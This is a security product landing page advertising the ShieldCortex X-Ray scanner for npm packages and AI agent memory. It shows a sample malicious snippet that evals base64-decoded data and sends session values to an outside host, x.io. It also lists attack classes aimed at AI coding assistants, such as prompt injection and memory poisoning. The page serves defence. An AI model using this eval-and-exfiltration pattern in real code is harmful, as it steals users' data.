Upgrading from 4.x? 5.x needs Node 22.14+ or 24+; Node 20 and 23 are unsupported. On Node 20, npm warns and still installs unless engine-strict is set; the database engine will not load. Read the guide.
See What Your
AI Can't
Inspect packages, plugins, files, and agent memory for hidden instructions, exfiltration paths, and covert payloads.
Live Package Analysis
Real-time inspection of every file, dependency, and metadata field.
1 const http = require('http');
2 const fs = require('fs');
3
4 // Session memory handler
5 module.exports = {
6 init: (opts) => {
7 const d = opts.data;
8 eval(Buffer.from(d._m, 'base64').toString());
9 return this.store;
10 },
11
12 persist: (key, val) => {
13 http.request({host:'x.io',path:`/c?d=${val}`});
14 this.store[key] = val;
15 }
16 };
Obfuscated eval() execution
Base64-decoded string passed to eval(). Potential arbitrary code execution from session data.
Data exfiltration via HTTP
Session values sent to external host x.io without user consent.
Suspicious postinstall script
Downloads and executes remote payload during npm install via child_process.exec().
Registry override detected
Custom registry URL points to non-standard endpoint.
AI-targeted prompt in description
Package description contains prompt injection targeting LLM-based install assistants.
Three Pillars of X-Ray
Deep inspection across code, payloads, and AI-targeted exploits.
Code Intelligence
- • Static analysis of all package files
- • Risky API surface detection (eval, exec, spawn)
- • Obfuscation and minification flags
- • Install script behaviour profiling
- • Version diff risk scoring
Hidden Payload Detection
- • Steganographic content in images & media
- • Polyglot file detection (valid as multiple types)
- • Unicode homoglyph & zero-width attacks
- • Base64/hex encoded executable payloads
- • Covert channel indicators in metadata
Agent Exploit Defense
- • Prompt injection in package metadata
- • Agent memory poisoning seeds
- • System/role override patterns
- • LLM-targeted filename deception
- • Credential harvesting via README instructions
Intent Detection, Not Just Pattern Matching
Traditional scanners flag known CVEs. X-Ray understands what code is trying to do — even when it's disguised.
Agent-Targeted Prompt Injection
Detects instructions hidden in README.md, package.json descriptions, and CONTRIBUTING.md files designed to manipulate AI coding assistants into executing malicious commands.
Steganographic Payload Indicators
Identifies data hidden within image files, font files, and other binary assets that contain encoded executable payloads invisible to standard file inspection.
Role & System Override Attempts
Catches text patterns in source files designed to override an AI agent's system prompt, inject new roles, or bypass safety instructions when the code is processed.
Memory Poisoning Seeds
Scans the writes that go through ShieldCortex via its MCP tools, hooks, and the OpenClaw plugin's memory path, not the agent's own files or other memory stores. Protection follows what the guard recognises; it does not establish whether a fact is true or catch all misleading context. Per-message scan; multi-turn correlation is on the roadmap.
Covert Channel Indicators
Identifies DNS-based exfiltration, timing channels, and encoded data in HTTP headers or query parameters used to smuggle information out of your environment.
Beyond Dependency Scanning
Traditional tools check known vulnerabilities. X-Ray detects unknown intent.
| Capability | Dependency Scanners | ShieldCortex X-Ray |
|---|---|---|
| Known vulnerability lookup (CVE) | ✓ | ✓ |
| Risky API detection (eval, exec) | ~ | ✓ |
| Hidden prompt injection in metadata | ✗ | ✓ |
| AI-targeted exploits in README/docs | ✗ | ✓ |
| Steganographic payload detection | ✗ | ✓ |
| Agent memory poisoning detection | ✗ | ✓ |
| Version diff risk analysis | ✗ | ✓ |
| Covert channel & exfiltration detection | ✗ | ✓ |
Detection Categories
Eight threat classes, analysed across every file in the package.
Prompt Injection
Instructions hidden in code, docs, and metadata
Steganography
Data hidden in images, fonts, and binary files
Covert Channels
DNS, timing, and encoded exfiltration paths
Polyglot Files
Files valid as multiple types simultaneously
Unicode Tricks
Homoglyphs, zero-width chars, and bidi overrides
Metadata Exploits
Malicious package.json, manifest, and config data
Shell Execution
Install scripts, child_process, and shell spawns
Persistence Hooks
Cron jobs, startup scripts, and registry entries
Automate Your Defences
X-Ray goes beyond on-demand scanning. Choose the commands and integrations below for the parts of your workflow you want to scan.
CI/CD Gate
Block risky packages and files in your pipeline. Exit code 1 if risk exceeds your threshold.
File Watch
Continuous monitoring. X-Ray watches your project and scans files as they change — new threats surface instantly.
Pre-install Hook
Wire the xray-preinstall subcommand into your project's npm preinstall script yourself; ShieldCortex setup does not wire it into npm automatically. When invoked, it checks the current directory's package.json scripts and metadata and exits 1 for HIGH or CRITICAL findings. It is not a global npm interceptor or a scan of dependency lifecycle scripts.
Memory Guard
X-Ray scans the writes that go through ShieldCortex on the enabled OpenClaw plugin's memory path (remember and mcp__memory__remember). Protection follows what the guard recognises, not a guarantee that all prompt injection or hidden directives will be caught.
Ready to See the Invisible?
X-Ray is live. Install ShieldCortex and start scanning.
Unlimited local scans, npm registry deep scan, and the CI/CD gate — all free.